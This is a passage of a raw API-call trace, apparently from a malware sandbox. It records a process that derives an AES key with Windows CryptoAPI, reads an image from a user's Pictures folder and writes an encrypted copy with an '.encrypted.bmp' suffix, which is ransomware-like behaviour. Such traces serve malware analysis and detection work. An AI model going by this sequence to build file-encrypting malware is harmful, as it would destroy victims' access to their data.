PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.175] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.175] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.175] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.175] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.175] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.175] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.175] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.175] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.175] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.175] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.175] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0028.175] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.175] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.175] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.175] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.175] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.175] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.175] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.175] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.175] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.175] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.175] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.176] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.176] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.176] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.176] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.176] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.176] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.176] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.176] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.176] CryptCreateHash (in: hProv=0xe8f4063410, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0028.176] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.176] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.176] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.176] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.176] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0028.176] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.176] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.176] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.176] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.176] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.176] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b810, dwDataLen=0x20, dwFlags=0x1) returned 1 [0028.176] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.176] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.176] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.176] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.176] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.176] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.176] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.176] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.176] CryptDeriveKey (in: hProv=0xe8f4063410, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40623a0) returned 1 [0028.177] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.177] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.177] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.177] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.177] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.177] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.177] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0028.177] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.177] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0028.177] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.178] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.178] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.178] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.178] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.179] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\Ds65N6Miylf7v.bmp" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\ds65n6miylf7v.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0028.179] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.179] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0028.179] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.179] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.179] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.179] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2")) returned 0x10 [0028.179] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\Ds65N6Miylf7v.encrypted.bmp" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\ds65n6miylf7v.encrypted.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0028.180] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.180] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.180] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.180] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.181] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0028.181] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0028.182] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x4bf1, lpOverlapped=0x0) returned 1 [0028.183] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0028.185] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.185] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.185] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.185] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0028.186] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.186] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.186] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0028.186] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.186] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0028.187] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.187] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.187] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.187] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0028.187] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.188] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f4064ca0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064ca0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0028.188] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.188] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.188] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.188] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.188] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.188] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.188] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.188] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.188] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.188] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.188] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.188] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.188] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.188] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.188] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.188] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.188] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.188] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.188] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.188] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.188] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.188] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.188] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.188] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.189] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.189] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x14bf1, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x14c00) returned 1 [0028.189] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.189] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.189] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.189] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.189] CharLowerBuffW (in: lpsz="byte[84993]", cchLength=0xb | out: lpsz="byte[84993]") returned 0xb [0028.189] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.191] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.191] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.191] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.191] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.191] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f43b8430*, pdwDataLen=0xe8f3dfdf68*=0x14bf1, dwBufLen=0x14c00 | out: pbData=0xe8f43b8430*, pdwDataLen=0xe8f3dfdf68*=0x14c00) returned 1 [0028.192] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.192] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.192] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.192] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.192] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.192] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.192] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.192] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.192] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.192] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.192] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.192] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, 